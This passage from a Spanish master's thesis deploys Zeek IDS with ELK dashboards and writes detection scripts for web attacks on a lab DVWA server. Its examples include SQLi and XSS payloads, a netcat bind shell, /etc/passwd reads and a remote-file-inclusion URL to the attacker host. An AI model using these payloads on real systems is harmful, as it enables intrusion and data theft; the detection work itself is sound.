De la misma manera que se ha verificado anteriormente para el agente Filebeat se 

procede a comprobar si se han creado correctamente los índices y dashboards por 

defecto en Elasticsearch y Kibana: 
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Ilustración 21 Ejemplo de dashboard por defecto de Auditbeat 

 

3.1.2.3.3.- Instalación y configuración de Metricbeat 
 

Metricbeat permitirá realizar una monitorización de salud en el servidor tfm-webserver, 

que es donde se procederá a su instalación. De esta manera, se va a poder tener 

monitorizada distintas métricas del rendimiento del sistema, servicios, bases de datos, 

red, entre otros. 

Cabe comentar que la instalación de este agente es igual a la de Filebeat, salvo que hay 

que indicar que el agente a instalar en Metricbeat, por lo que no se pasan a detallar 

todos los pasos de la instalación. 

En este caso, cabe comentar que se van a habilitar unos módulos diferentes al de 

system que viene habilitado por defecto. Debido a que el servidor web hace uso de 

Apache y MySQL, y, que además, existen dos módulos de Metricbeat para dichas 

tecnologías, se procede a su activación y configuración. 

# metricbeat modules enable apache mysql 

De la misma manera que en los otros agentes, se deben de fijar en el fichero de 

configuración de Metricbeat la dirección IP de los servidores Elasticsearch y Kibana: 

setup.kibana: 

  host: "172.18.100.12:5601" 

 

output.elasticsearch: 

  hosts: ["172.18.100.12:9200"] 
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Para el caso de MySQL es necesario modificar el fichero de configuración para indicar 

un usuario y contraseña con acceso a la base de datos a monitorizar. Para ello, se 

modifica el fichero /etc/metricbeat/modules.d/mysql.yml de la siguiente manera: 

# Module: mysql 

# Docs: 

https://www.elastic.co/guide/en/beats/metricbeat/7.6/metricbeat-

module-mysql.html 

 

- module: mysql 

  #metricsets: 

  #  - status 

  #  - galera_status 

  period: 10s 

 

  # Host DSN should be defined as 

"user:pass@tcp(127.0.0.1:3306)/" 

  hosts: ["dvwa:*****@tcp(127.0.0.1:3306)/"]  

De la misma manera que se ha verificado anteriormente se procede a comprobar si se 

han creado correctamente los índices y dashboards por defecto en Elasticsearch y 

Kibana: 

 

Ilustración 22 - Ejemplo de dashboard por defecto de Metricbeat 
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3.2.- Fase de explotación 

3.2.1.- Estudio y creación de scripts de Zeek IDS para la detección de 

anomalías en tráfico web 
 

Basándose en la detección de anomalías en el tráfico web, se pasa a realizar un estudio 

de los diferentes scripts propios que posee la herramienta Zeek IDS por defecto y se 

desarrollarán scripts personalizados para detectar mediante otras firmas, diferentes 

tipos de ataques, no incluidos por defecto en Zeek, en el servidor web disponible en esta 

solución. 

Para el desarrollo de este trabajo, se van a usar, entre otros, los siguientes scripts de 

Zeek IDS con la principal finalidad de detección de anomalías en el servidor web: 

- @load misc/scan 

El objetivo de este script es la detección de escaneos de red en un 

determinado host. Será capaz de aportar información de valor ante la 

realización de un escaneo por parte de un equipo externo para poder 

iniciar una investigación posterior. 

Por ejemplo será capaz de detectar las consecuencias de la ejecución de 

herramientas como: Nmap, masscan, ZMap Project, entre muchas otras. 

- @load protocols/http/detect-sqli 

La principal funcionalidad de este script de Zeek es la detección de 

ataques de inyección SQL, SQLi, a nivel de URL. Cabe comentar que 

actualmente solo está activa la detección de firmas de SQLi a nivel de 

URL,es decir, para peticiones GET, y que en el proyecto de Zeek están 

trabajando para la detección a nivel de POST y Cookie. 

- @load protocols/ssh/detect-bruteforcing 

Aunque no está relacionado con ataques web, se pasa a usar este script 

cuya principal función es la detección de fuerza bruta al servicio SSH.  

Se pasa a emplear en esta solución debido a que el host donde reside el 

servidor web tiene instalado openssh-server para su gestión remota y 

podría ser atacado. 

Con el objetivo de detectar otro tipo de ataques web muy común como pueden ser Cross 

Site Scripting (XSS), Command Injection (CMDi), File Inclusion (RFI/LFI) se pasa a 

desarrollar distintos scripts personalizados que se encargarán de realizar estas 

detecciones a nivel de firmas. 

Cabe comentar que para el desarrollo de estos scripts se ha tomado como base el de 

detección de SQLi que vienen por defecto en Zeek, protocols/http/detect-sqli.zeek, 

debido a que la forma de realizar las detecciones será la misma, ya que es a nivel de 

URL (peticiones GET) y lo que habrá que modificar serán las expresiones regulares de 

la detección del ataque. 

A continuación, se pasa a mostrar a alto nivel la manera de detectar ataques SQLi por 

parte del script por defecto, ya que será igual la forma de actuar de los scripts 

personalizados: 

- Zeek estará escuchando todo el tráfico HTTP debido a su configuración del modo 

promiscuo de la tarjeta de red. Por lo tanto, el evento de Zeek que tiene lugar 

para llevar a cabo estas detecciones es event http_request. 
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- Por cada evento, realiza una comparación de si coincide alguna de las 

expresiones regulares definidas en match_sql_injection_uri en la URL escapada 

unescaped_URI. 

o En caso de coincidencia, se tendrá en cuenta el evento para las métricas 

que determinarán en base a los siguientes umbrales si se trata de un 

ataque real o no. Umbrales: 

▪ sqli_requests_threshold: Define el umbral que determina si un 

ataque de SQLi está en curso en función del número de 

solicitudes que parecen ser ataques de inyección. 

Por defecto, para SQLi está establecido en 50 peticiones. 

▪ sqli_requests_interval: Intervalo temporal en el que se estará 

observando si se supera el umbral de peticiones definido en 

sqli_requests_threshold. 

▪ suppress_for: Es el periodo de supresión de una alerta con la 

finalidad de no generar una avalancha de estas e inundar Zeek 

en caso de un ataque real. 

o En caso de que no coincida, no se hace nada con dicha petición. 

Cabe comentar que este script por defecto de SQLi generará dos tipos de alerta en 

notice.log en caso de que se superen los umbrales y condiciones establecidas: 

- An SQL injection attacker was discovered! 

- An SQL injection victim was discovered! 

Está programado de esta manera, para poder detectar por separado peticiones HTTP 

que coincidan con firmas SQLi generadas desde una dirección IP origen (atacante) que 

se tiene monitorizada, y, por otro lado, peticiones HTTP hacia una dirección IP destino 

(víctima) que se tiene monitorizada, respectivamente. 

La ruta donde se situarán estos scripts será la siguiente: 

/usr/local/zeek/share/zeek/policy/protocols/http, al ser scripts de detección de firmas 

para el protocolo http. Es en esta ruta donde por defecto se sitúa el de SQLi que viene 

con la instalación de Zeek. 

A continuación, se pasan a nombrar para cada tipo de ataque web monitorizado, el 

nombre del script, los umbrales, expresiones regulares para la URL (Nota: en algún caso 

se ha acortado alguna expresión regular en este apartado) y el nombre de la alerta. El 

contenido completo de cada uno de los scripts queda reflejado en Anexo III. 

- SQL Injection: 

o Breve descripción: Los ataques de inyección de código SQL son los 

más efectivos, los más fáciles y los de mayor alcance actualmente y su 

principal objetivo es acceder o modificar el contenido de la base de datos 

del back-end aprovechando un fallo de programación en la página web.  

o Nombre del script: protocols/http/detect-sqli.zeek 

o Umbrales: 

▪ Número de peticiones: 50 peticiones 

▪ Tiempo: 5 minutos 

▪ Suppress_for: 3600 segundos. 

o Expresiones regulares: 
- /[\?&][^[:blank:]\x00-\x37\|]+?=[\-[:alnum:]%]+([[:blank:]\x00-

\x37]|\/\*.*?\*\/)*['"]?([[:blank:]\x00-

\x37]|\/\*.*?\*\/|\)?;)+.*?([hH][aA][vV][iI][nN][gG]|[uU][nN][iI

][oO][nN]|[eE][xX][eE][cC]|[sS][eE][lL][eE][cC][tT]|[dD][eE][lL]
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[eE][tT][eE]|[dD][rR][oO][pP]|[dD][eE][cC][lL][aA][rR][eE]|[cC][

rR][eE][aA][tT][eE]|[iI][nN][sS][eE][rR][tT])([[:blank:]\x00-

\x37]|\/\*.*?\*\/)+/ 

- | /[\?&][^[:blank:]\x00-\x37\|]+?=[\-0-9%]+([[:blank:]\x00-

\x37]|\/\*.*?\*\/)*['"]?([[:blank:]\x00-

\x37]|\/\*.*?\*\/|\)?;)+([xX]?[oO][rR]|[nN]?[aA][nN][dD])([[:bla

nk:]\x00-\x37]|\/\*.*?\*\/)+['"]?(([^a-zA-

Z&]+)?=|[eE][xX][iI][sS][tT][sS])/ 

- | /[\?&][^[:blank:]\x00-\x37]+?=[\-0-9%]*([[:blank:]\x00-

\x37]|\/\*.*?\*\/)*['"]([[:blank:]\x00-\x37]|\/\*.*?\*\/)*(-

|=|\+|\|\|)([[:blank:]\x00-\x37]|\/\*.*?\*\/)*([0-

9]|\(?[cC][oO][nN][vV][eE][rR][tT]|[cC][aA][sS][tT])/ 

- | /[\?&][^[:blank:]\x00-\x37\|]+?=([[:blank:]\x00-

\x37]|\/\*.*?\*\/)*['"]([[:blank:]\x00-

\x37]|\/\*.*?\*\/|;)*([xX]?[oO][rR]|[nN]?[aA][nN][dD]|[hH][aA][v

V][iI][nN][gG]|[uU][nN][iI][oO][nN]|[eE][xX][eE][cC]|[sS][eE][lL

][eE][cC][tT]|[dD][eE][lL][eE][tT][eE]|[dD][rR][oO][pP]|[dD][eE]

[cC][lL][aA][rR][eE]|[cC][rR][eE][aA][tT][eE]|[rR][eE][gG][eE][x

X][pP]|[iI][nN][sS][eE][rR][tT])([[:blank:]\x00-

\x37]|\/\*.*?\*\/|[\[(])+[a-zA-Z&]{2,}/ 

- | /[\?&][^[:blank:]\x00-

\x37]+?=[^\.]*?([cC][hH][aA][rR]|[aA][sS][cC][iI][iI]|[sS][uU][b

B][sS][tT][rR][iI][nN][gG]|[tT][rR][uU][nN][cC][aA][tT][eE]|[vV]

[eE][rR][sS][iI][oO][nN]|[lL][eE][nN][gG][tT][hH])\(/ 

- | /\/\*![[:digit:]]{5}.*?\*\// 

o Nombre de alerta: 

▪ An SQL injection attacker was discovered! 

▪ An SQL injection victim was discovered! 

o Ejemplos de peticiones que detecta: 

▪ /vulnerabilities/sqli/?id=1' OR 1='1&Submit=Submit 

▪ /vulnerabilities/sqli/?id=1' UNION ALL SELECT 

NULL,NULL#&Submit=Submit 

▪ /vulnerabilities/sqli/?id=1' AND (SELECT 3356 FROM(SELECT 

COUNT(*),CONCAT(0x7162786a71,(SELECT 

MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) 

FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 

0,1),0x71766b7071,FLOOR(RAND(0)*2))x FROM 

INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- 

uSNr&Submit=Submit 

 

- Cross Site Scripting:  

o Breve descripción: Este habitual ataque web consiste en que un usuario 

malicioso se aprovecha de una entrada de texto que aparece en alguna 

parte de la web en la que introduce código malicioso para conseguir 

secuestrar sesión, robo de credenciales, u otra información que se 

considere de interés. En este caso, dicho código no se ejecuta en la parte 

del servidor, como sucede con SQLi, si no que se ejecutaría en el 

navegador de la víctima. 

o Nombre del script: protocols/http/rcv-detect-xss.zeek 

o Umbrales: 

▪ Número de peticiones: 1 petición 

▪ Tiempo: 2 minutos 

▪ Suppress_for: 60 segundos. 
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o Expresiones regulares: 

▪ /[\?&][^[:blank:]\x00-

\x37\|]+?\=.*<[[:blank:]\+]*\/?(\!\-\-

|\!DOCTYPE|a|abbr|acronym|address|applet|area|articl

e|aside|audio|b|base|basefont|bdi|bdo|big|blockquote 

…… 
|thead|time|title|tr|track|tt|u|ul|var|video|wbr)[[:

blank:]\+\>]+[^\&]*/i 

▪ | /[\?&][^[:blank:]\x00-

\x37\|]+?\=.*(javascript|vbscript|livescript)\:[^\&]

+/ 

▪ | /[\?&][^[:blank:]\x00-

\x37\|]+?\=.*<.*(fscommand|href|onabort|onactivate|o

nafterprint|onafterupdate|onbeforeactivate|onbeforec

opy|onbeforecut|onbeforedeactivate|onbeforeeditfocus 

…… 
|ontimeerror|ontrackchange|onundo|onunload|onurlflip

|seeksegmenttime|onpageshow)/i 

o Nombre de alerta: 

▪ An XSS attacker was discovered! 

▪ An XSS victim was discovered! 

o Ejemplos de peticiones que detecta: 

▪ /vulnerabilities/xss_r/?name=<INPUT TYPE=\"IMAGE\" 

SRC=\"javascript:alert('XSS');\"> 

▪ /vulnerabilities/xss_r/?name=<body onload=alert(“XSS”)> 

▪ /vulnerabilities/xss_r/?name=<IMG 

SRC='vbscript:msgbox("XSS")'> 

 

- Command Injection: 

o Breve descripción: CMDi es un ataque en el cual su principal objetivo 

es la ejecución de código arbitrario en el sistema operativo anfitrión que 

aloja la aplicación web. Este tipo de ataque es debido a la falta de 

verificación de las entradas de datos, a la hora de pasarlas a ejecutar en 

la Shell del sistema. 

o Nombre del script: protocols/http/rcv-detect-cmdi.zeek 

o Umbrales: 

▪ Número de peticiones: 1 petición 

▪ Tiempo: 1 minuto. 

▪ Suppress_for: 60 segundos. 

o Expresiones regulares: 

▪ /[\?&][^[:blank:]\x00-

\x37\|]+?\=.*(\|{1,2}|\;|\&{2})[[:blank:]+]?(adduser

|addgroup|agetty|alias|anacron|apropos|apt|apt-

get|aptitude|arch|arp|atrm|awk|batch|basename|bc|bg| 

…… 
|vi|wall|watch|wget|whatis|which|who|whereis|xargs|z

cmp|zdiff|zip)[^&]*/ 

o Nombre de alerta: 

▪ An CMDi attacker was discovered! 

▪ An CMDi victim was discovered! 

o Ejemplos de peticiones que detecta: 

▪ /vulnerabilities/exec/?ip=8.8.8.8; cat /etc/passwd&Submit=Submit 

▪ /vulnerabilities/exec/?ip=&& ls -lhrt&Submit=Submit 
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▪ /vulnerabilities/exec/?ip=8.8.8.8&&nc -lp 31337 -e 

/bin/bash&Submit=Submit 

 

- File Inclusion: 

o Breve descripción: En este apartado se contemplan sus dos variantes: 

RFI, Remote File Inclusion y LFI, Local File Inclusion. Estos ataques se 

aprovechan de los parámetros vulnerables de aplicaciones web sobre 

PHP, donde se incluye una URL de referencia para albergar código 

arbitrario permitiendo de esta manera su ejecución remota (RFI), o, por 

el contrario, se referencia a otro fichero local del servidor donde reside la 

aplicación web vulnerable (LFI). 

o Nombre del script: protocols/http/rcv-detect-rfi.zeek 

o Umbrales: 

▪ Número de peticiones: 1 petición. 

▪ Tiempo: 2 minutos. 

▪ Suppress_for: 60 segundos. 

o Expresiones regulares: 

▪ /[\?&][^[:blank:]\x00-

\x37\|]+?\=[Hh][Tt][Tt][Pp][Ss]?\:\/\/.*/ 

▪ | /[\?&][^[:blank:]\x00-

\x37\|]+?\=((\.\.?)+\/*)+\/(bin|boot|dev|etc|home|li

b|lib32|lib64|libx32|lost+found|media|mnt|opt|proc|r

oot|run|sbin|srv|sys|tmp|usr|var)\/.*/ 

o Nombre de alerta: 

▪ An RFI attacker was discovered! 

▪ An RFI victim was discovered! 

o Ejemplos de peticiones que detecta: 

▪ /vulnerabilities/fi/?page=http://172.18.100.21/rfi-dvwa.php 

▪ /vulnerabilities/fi/?page=../../etc/passwd 

▪ /vulnerabilities/fi/?page=.///////..////..//////etc/passwd 

Una vez que se han configurado correctamente estos scripts personalizados, es 

necesario indicar a Zeek que use estos nuevos scripts y aplique esta nueva 

configuración: 

# vim usr/local/zeek/share/zeek/site/local.zeek 

… 

# Detect SQL injection attacks. 

@load protocols/http/detect-sqli 

 

# Detect Web Attacks custom: XSS, CMDi, RFI 

@load protocols/http/rcv-detect-xss 

@load protocols/http/rcv-detect-rfi 

@load protocols/http/rcv-detect-cmdi 

… 

# zeekctl deploy 

checking configurations ... 

installing ... 

removing old policies in /usr/local/zeek/spool/installed-

scripts-do-not-touch/site ... 

removing old policies in /usr/local/zeek/spool/installed-

scripts-do-not-touch/auto ... 

creating policy directories ... 

installing site policies ... 

generating standalone-layout.zeek ... 

generating local-networks.zeek ... 
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generating zeekctl-config.zeek ... 

generating zeekctl-config.sh ... 

stopping ... 

stopping zeek ... 

starting ... 

starting zeek ... 

 

Debido a que estos scripts personalizados registran las alertas en el fichero de log 

notice.log, siguiendo su estándar, no es necesario realizar ninguna modificación a nivel 

de pila ELK para que puedan ser normalizados debido a que el módulo de Zeek de 

Filebeat utilizado soporta este tipo de log. Por lo tanto, dichos eventos quedarían 

preparados para registrarse en Elasticsearch. 

3.2.2.- Detección de anomalías en el tráfico web 
 

Una vez que se han estudiado qué scripts de Zeek emplear y el desarrollo de otros 

nuevos para ampliar su funcionalidad, se pasa a realizar el plan de pruebas, en el cual, 

se realizarán diferentes ataques desde la máquina tfm-malicioususer 172.18.100.21, 

contra la aplicación vulnerable, DVWA, alojada en el servidor tfm-webserver, 

172.18.100.10. 

Durante esta fase de explotación, Zeek deberá de detectar estas anomalías en el tráfico 

que está escuchando y generar alertas para el futuro análisis y monitorización en 

Kibana. 

3.2.2.1.- Escaneo de puertos 
 

Para la realización de este ataque, se va a emplear la herramienta Nmap disponible en 

Kali Linux, la cual será usada para realizar un escaneo de puertos sobre el host tfm-

webserver. Como resultado de este ataque, el IDS deberá de generar un log en 

notice.log indicando el tipo de ataque correspondiente. 

1.- Realizar ataque desde tfm-malicioususer: 

 

Ilustración 23 - Nmap desde tfm-malicioususer sobre tfm-webserver 

2.- Comprobación alerta en notice.log en local en el IDS, tfm-ids. 

root@tfm-ids:/usr/local/zeek/logs/current# cat notice.log | grep 

-i scan 

{"ts":1585417864.595694,"note":"Scan::Port_Scan","msg":"172.18.1

00.21 scanned at least 15 unique ports of host 172.18.100.10 in 

0m0s","sub":"local","src":"172.18.100.21","dst":"172.18.100.10",

"actions":["Notice::ACTION_LOG"],"suppress_for":3600.0} 
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3.- Comprobación evento en Kibana. 

 

Ilustración 24 - Evento escaneo de puertos en Kibana 

Del resultado de las pruebas anteriores se puede ver como Zeek detecta correctamente 

el escaneo de puertos que ha lanzado el atacante indicando en el evento de alerta la 

dirección IP origen de dicho ataque, 172.18.100.21 y la duración de este. 

 

3.2.2.2.- Ataque de SQLi 
 

En este caso de inyecciones SQL, se va a utilizar la herramienta sqlmap disponible en 

Kali Linux, la cual, lanzará multitud de peticiones HTTP con distintas pruebas de 

inyecciones SQL hasta lograr su objetivo. 

1.- Realizar ataque desde tfm-malicioususer: 

root@tfm-malicioususer:~# sqlmap -u 

"http://172.18.100.10/vulnerabilities/sqli/?id=1&Submit=Submit" 

--cookie="PHPSESSID=25h0dk1a3ubss10h92n5mfnela; security=low" –

dbs 

 

 

Ilustración 25 - sqlmap desde tfm-malicioususer para sacar bases de datos de tfm-webserver 

 

2.- Comprobación alerta en notice.log en local en el IDS, tfm-ids. 

root@tfm-ids:/usr/local/zeek/logs/current# cat notice.log | grep 

-i sql 

{"ts":1585419049.832931,"note":"HTTP::SQL_Injection_Attacker","m

sg":"An SQL injection attacker was 
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discovered!","src":"172.18.100.21","actions":["Notice::ACTION_LO

G"],"suppress_for":3600.0} 

{"ts":1585419049.832931,"note":"HTTP::SQL_Injection_Victim","msg

":"An SQL injection victim was 

discovered!","src":"172.18.100.10","actions":["Notice::ACTION_LO

G"],"suppress_for":3600.0} 

 

3.- Comprobación evento en Kibana. 

 

Ilustración 26 - Eventos SQLi en Kibana 

Se puede ver como se han generado correctamente dos alertas en notice.log del script 

detect-sqli.zeek tal y como se ha detallado su funcionamiento en el apartado anterior, 

debido a que se han generado 344 peticiones HTTP que han coincidido con las firmas 

definidas en el script en menos de 5 minutos. 

3.2.2.3.- Ataque de XSS 
 

Para ejecutar el ataque XSS, se va a realizar sin emplear ninguna herramienta 

automatizada a diferencia de los ataques anteriores. En este caso se va a mostrar una 

inyección para extraer la cookie del usuario. 

1.- Realizar ataque desde tfm-malicioususer: 

 

Ilustración 27 - Ataque de XSS desde tfm-malicioususer sobre tfm-webserver 
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2.- Comprobación alerta en notice.log en local en el IDS, tfm-ids. 

root@tfm-ids:/usr/local/zeek/logs/current# cat notice.log | grep 

-i xss 

{"ts":1586526080.423805,"note":"HTTP::XSS_Attacker","msg":"An 

XSS attacker was 

discovered!","src":"172.18.100.21","actions":["Notice::ACTION_LO

G"],"suppress_for":60.0} 

{"ts":1586526080.423805,"note":"HTTP::XSS_Victim","msg":"An XSS 

victim was 

discovered!","src":"172.18.100.10","actions":["Notice::ACTION_LO

G"],"suppress_for":60.0} 

 

3.- Comprobación evento en Kibana. 

 

Ilustración 28 - Eventos XSS en Kibana 

Se puede ver como el ataque ha tenido éxito, y, además, ha sido detectado por Zeek 

debido al script propio para detecciones de XSS. 

3.2.2.4.- Ataque de CMDi 
 

Para realizar este ataque, en primer lugar se va a abrir un listener para conexiones 

entrantes en la máquina tfm-malicioususer en el puerto 11234 y posteriormente se abrirá 

una Shell en el servidor web vulnerable y se conectará de nuevo a la máquina atacante. 

De esta manera, desde la máquina atacante se podrán ejecutar comandos contra el 

servidor web y se observará en el navegador su salida al romper el listener (^C). 

1.- Realizar ataque desde tfm-malicioususer: 

 

Ilustración 29 - nc -l en tfm-malicioususer 
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Ilustración 30 - Ataque de CMDi desde tfm-malicioususer sobre tfm-webserver 

2.- Comprobación alerta en notice.log en local en el IDS, tfm-ids. 

root@tfm-ids:/usr/local/zeek/logs/current# cat notice.log | grep 

-i cmdi 

{"ts":1586519268.11983,"note":"HTTP::CMDi_Attacker","msg":"An 

CMDi attacker was 

discovered!","src":"172.18.100.21","actions":["Notice::ACTION_LO

G"],"suppress_for":60.0} 

{"ts":1586519268.11983,"note":"HTTP::CMDi_Victim","msg":"An CMDi 

victim was 

discovered!","src":"172.18.100.10","actions":["Notice::ACTION_LO

G"],"suppress_for":60.0} 

3.- Comprobación evento en Kibana. 

 

Ilustración 31 - Eventos CMDi en Kibana 

Se puede apreciar como Zeek ha detectado correctamente el comando “nc” de Linux en 

la URL, petición GET, y ha generado las alertas correspondientes en notice.log, una por 

la detección del atacante y otra por la detección de la víctima. 
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3.2.2.4.- Ataque de RFi 
 

En este caso, se va a realizar un LFI para intentar extraer el contenido del fichero 

/etc/passwd desde tfm-malicioususer. 

1.- Realizar ataque desde tfm-malicioususer: 

 

Ilustración 32 - Ataque de RFi desde tfm-malicioususer sobre tfm-webserver 

2.- Comprobación alerta en notice.log en local en el IDS, tfm-ids. 

root@tfm-ids:/usr/local/zeek/logs/current# cat notice.log | grep 

-i rfi 

{"ts":1586520395.197612,"note":"HTTP::RFI_Attacker","msg":"An 

RFI attacker was 

discovered!","src":"172.18.100.21","actions":["Notice::ACTION_LO

G"],"suppress_for":60.0} 

{"ts":1586520395.197612,"note":"HTTP::RFI_Victim","msg":"An RFI 

victim was 

discovered!","src":"172.18.100.10","actions":["Notice::ACTION_LO

G"],"suppress_for":60.0} 

 

3.- Comprobación evento en Kibana. 

 

Ilustración 33 - Eventos RFi enKibana 
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3.2.2.5.- Ataque de Fuerza Bruta sobre SSH 
 

Para realizar el ataque de fuerza bruta al servicio SSH del host, tfm-webserver, se va a 

emplear la herramienta Hydra disponible en Kali Linux. Dicha herramienta puede ser 

empleada para diferentes servicios como ftp, rdp, telnet, entre otros, pero en este caso 

se va a emplear sobre SSH. 

1.- Realizar ataque desde tfm-malicioususer: 

 

Ilustración 34 - Ataque de fuerza bruta desde tfm-malicioususer sobre tfm-webserver con hydra 

2.- Comprobación alerta en notice.log en local en el IDS, tfm-ids. 

root@tfm-ids:/usr/local/zeek/logs/current# cat notice.log | grep 

-i ssh 

 

{"ts":1585420376.558328,"note":"SSH::Password_Guessing","msg":"1

72.18.100.21 appears to be guessing SSH passwords (seen in 30 

connections).","sub":"Sampled servers:  172.18.100.10, 

172.18.100.10, 172.18.100.10, 172.18.100.10, 

172.18.100.10","src":"172.18.100.21","actions":["Notice::ACTION_

LOG"],"suppress_for":3600.0} 

 

3.- Comprobación evento en Kibana. 

 

Ilustración 35 - Evento de fuerza bruta en Kibana 

Se puede apreciar en la alerta como Zeek ha sido capaz de detectar el ataque de fuerza 

bruta al servicio SSH identificando al atacante, 172.18.100.21, al haber probado 

diferentes contraseñas en al menos 30 conexiones. 

 

3.2.2.- Visualización de eventos en Kibana 
 

Con la finalidad de poder representar todas las detecciones anteriores que realiza Zeek 

IDS de forma conjunta en Kibana, se va a crear un dashboard personalizado en el que 

se van a poder visualizar todas las anomalías de red, entre ellas, las relacionadas con 

el servidor web. 

Es necesario dirigirse al módulo “Dashboard” de Kibana y hacer click en “Create 

dashboard”. El primer paso es guardarlo, y posteriormente se irán añadiendo nuevos 

objetos al dashboard. 



57 
 

 

Ilustración 36 - Save Dashboard en Kibana 

El siguiente paso es generar los distintos gráficos que compondrán los dashboards 

personalizados. Para ello, es posible utilizar objetos existentes de la presencia de los 

dashboards por defecto que se han instalado, o, en cambio, generar de nuevos objetos 

para representar un fin específico. Estos objetos se conocen como “Visualization” en 

Kibana.  

En los siguientes apartados, se pasa a mostrar el contenido de ambos dashboards. 

3.2.2.1.- Dashboard personalizado – [TFM] Monitorización de seguridad 
 

Este primer Dashboard de monitorización de seguridad, tiene un principal objetivo, que 

es ayudar al analista de seguridad a identificar de una manera muy rápida y visual las 

diferentes anomalías detectadas por Zeek IDS y en relación con el servidor web. Para 

ello, contendrá la siguiente información: 

- Conteo total anomalías detectadas 

o Indicador del número total de detecciones de notice.log. 

- Conteo diferentes anomalías detectadas 

o Indicador de las diferentes anomalías detectadas en notice.log. 

- Evolución anomalías detectadas de notice.log 

o Gráfico de barras de la evolutiva de detecciones de notice.log 

- Top anomalías de notice.log 

o Gráfico de tartas del top de anomalías detectadas por Zeek. 

- Top 10 IP Origen: Fuerza Bruta, Escaneos, SQLi, XSS, CMDi y RFI 

o Tablas que representan el top 10 de direcciones IP origen para el ataque 

indicado. 

- Listado eventos notice.log 

o Tabla con las detecciones de notice.log en la que se muestra el nombre 

y direcciones IP origen y destino junto con el timestamp. 

- Listado de URLs con tag de posible intento de intrusión. 

o Tabla con las URLs con un tag de intento de intrusión extraído de http.log. 

Se muestra además la dirección IP origen de dicho evento y el timestamp. 
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Con todo ello, el analista de seguridad podrá determinar cuándo ha ocurrido el posible 

ataque, el por qué y así poder iniciar una investigación forense con un punto de partida 

claro. 

Cabe comentar que para cada gráfico enumerado se ha tenido que crear una nueva 

“Visualization” que posteriormente ha sido añadida al dashboard. 

A continuación se pasan a mostrar los diferentes gráficos generados para este 

dashboard: 

- Conteo total anomalías detectadas y conteo diferentes anomalías 

detectadas 

 

Ilustración 37 - KPIs anomalías detectadas - [TFM] Monitorización de seguridad 

- Evolución anomalías detectadas de notice.log 

 

Ilustración 38 - Evolución anomalías - [TFM] Monitorización de seguridad 

- Top anomalías de notice.log 

 

Ilustración 39 - Top anomalías detectadas - [TFM] Monitorización de seguridad 
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- Top 10 IP Origen: Fuerza Bruta, Escaneos, SQLi, XSS, CMDi y RFI 

 

Ilustración 40 - Top 10 IP Origen - [TFM] Monitorización de seguridad 

- Listado eventos notice.log 

 

Ilustración 41 - Tabla eventos notice.log - [TFM] Monitorización de seguridad 

-  Listado de URLs con tag de posible intento de intrusión. 

 

Ilustración 42 - URLs con intentos de intrusión - [TFM] Monitorización de seguridad 

El dashboard resultante de monitorización de seguridad, incluiría todos los gráficos 

mostrados anteriormente y se puede ver completo en el Anexo IIII apartado 1. 

 

3.2.2.2.- Dashboard personalizado – [TFM] Monitorización de salud 
 

En este dashboard de monitorización de salud, se pretende mostrar al analista 

diferentes gráficos e indicadores extraídos de métricas y logs de auditoría del servidor 

web tfm-webserver. Por lo tanto, para este dashboard de monitorización de salud se han 

usado los índices de Metricbeat-* y Auditbeat-*. 
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Se pasan a enumerar los distintos gráficos que forman el dashboard de monitorización 

de salud. Cabe mencionar que este dashboard tiene 4 partes claramente diferenciadas 

dependiendo del tipo de información mostrada en cada una de ellas: Sistema, Apache, 

MySQL y Auditoría: 

- Sistema: 

o Número de procesos 

▪ Indicador del número de procesos del servidor. 

o Uso de RAM 

▪ Acelerómetro de uso de memoria RAM actual. 

o Histórico uso de RAM 

▪ Gráfico de líneas con área para representar la evolución del uso 

de memoria RAM del sistema. 

o Estadísticas de procesos 

▪ Tabla donde se muestra información relevante de los diferentes 

Containers ID. 

o Evolución carga del sistema 

▪ Gráfico de líneas de la evolución del load average del servidor 

web, separado por 1m, 5m y 15m. 

o Evolución uso de CPU 

▪ Gráfico de líneas de evolución del uso de CPU a lo largo del rango 

temporal fijado. 

o Evolución tráfico de red (paquetes) 

▪ Gráfico donde se muestra la cantidad de paquetes de red 

recibidos a lo largo del tiempo. Se diferencian dos partes, tráfico 

entrante y tráfico saliente. 

- Apache: 

o Accesos totales y kbytes 

▪ Indicadores del total de accesos y kbytes de Apache. 

o Evolución workers 

▪ Gráfico de líneas de la evolución del número de busy workers y 

idle workers de Apache. 

- MySQL: 

o Evolución comandos ejecutados 

▪ Gráfico de líneas de evolución del número de los diferentes tipos 

de comandos SQL empleados: SELECT, UPDATE, DELETE e 

INSERT. 

o Ratio de conexiones 

▪ Gráfico de líneas de la evolución del número de conexiones 

totales contra la base de datos. 

o Ratio de bytes enviados y recibidos 

▪ Gráfico de líneas de barras que representa la evolución del 

número de bytes enviados y recibidos a la base de datos. 

- Auditoría: 

o Número de procesos por usuario 

▪ Tabla con el número de procesos en ejecución separados por 

usuario. 

o Procesos www-data 

▪ Tabla de monitorización de los comandos empleados por www-

data, el cual, permitirá tener monitorizados los comandos que 

ejecute dicho usuario, y por lo tanto, los que se lancen desde la 
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aplicación web aprovechándose de alguna vulnerabilidad del 

servidor. 

o Acceso/Modificación ficheros monitorizados 

▪ Tabla de monitorización de los diferentes accesos/modificaciones 

a los ficheros monitorizados por Auditbeat. 

A continuación, se pasa a mostrar los distintos gráficos que componen cada parte 

comentada anteriormente. 

- Sistema. 

 

Ilustración 43 - Gráficos métricas sistema 1 - [TFM] Monitorización de salud 

 

Ilustración 44 - Gráficos métricacs sistema 2 - [TFM] Monitorización de salud 

- Apache. 

 

Ilustración 45 - Gráficos Apache - [TFM] Monitorización de salud 
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- MySQL. 

 

Ilustración 46 - Gráficos MySQL - [TFM] Monitorización de salud 

- Auditoría. 

 

Ilustración 47 - Gráficos auditoría - [TFM] Monitorización de salud 

El dashboard resultante de monitorización de salud del servidor web, incluiría todos los 

gráficos mostrados anteriormente y se puede ver completo en el Anexo IIII apartado 2.  
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4.- Conclusiones 
 

4.1.- Descripción conclusiones del trabajo 
 

Una vez completado el Trabajo de Fin de Master “Desplegar la herramienta “Zeek IDS” 

y su posterior explotación para el análisis de actividades sospechosas en la red” se 

puede verificar que se han cumplido los diferentes objetivos generales y específicos, los 

cuales, se detallarán en el siguiente apartado de la memoria.  

Se ha obtenido un entorno de seguridad pasivo compuesto por diferentes herramientas 

OpenSource, correctamente conectadas, para llevar a cabo una correcta monitorización 

de seguridad de un activo que puede ser crítico para un negocio, como es un servidor 

web. De esta manera, mediante el uso de software OpenSource y dotando a las 

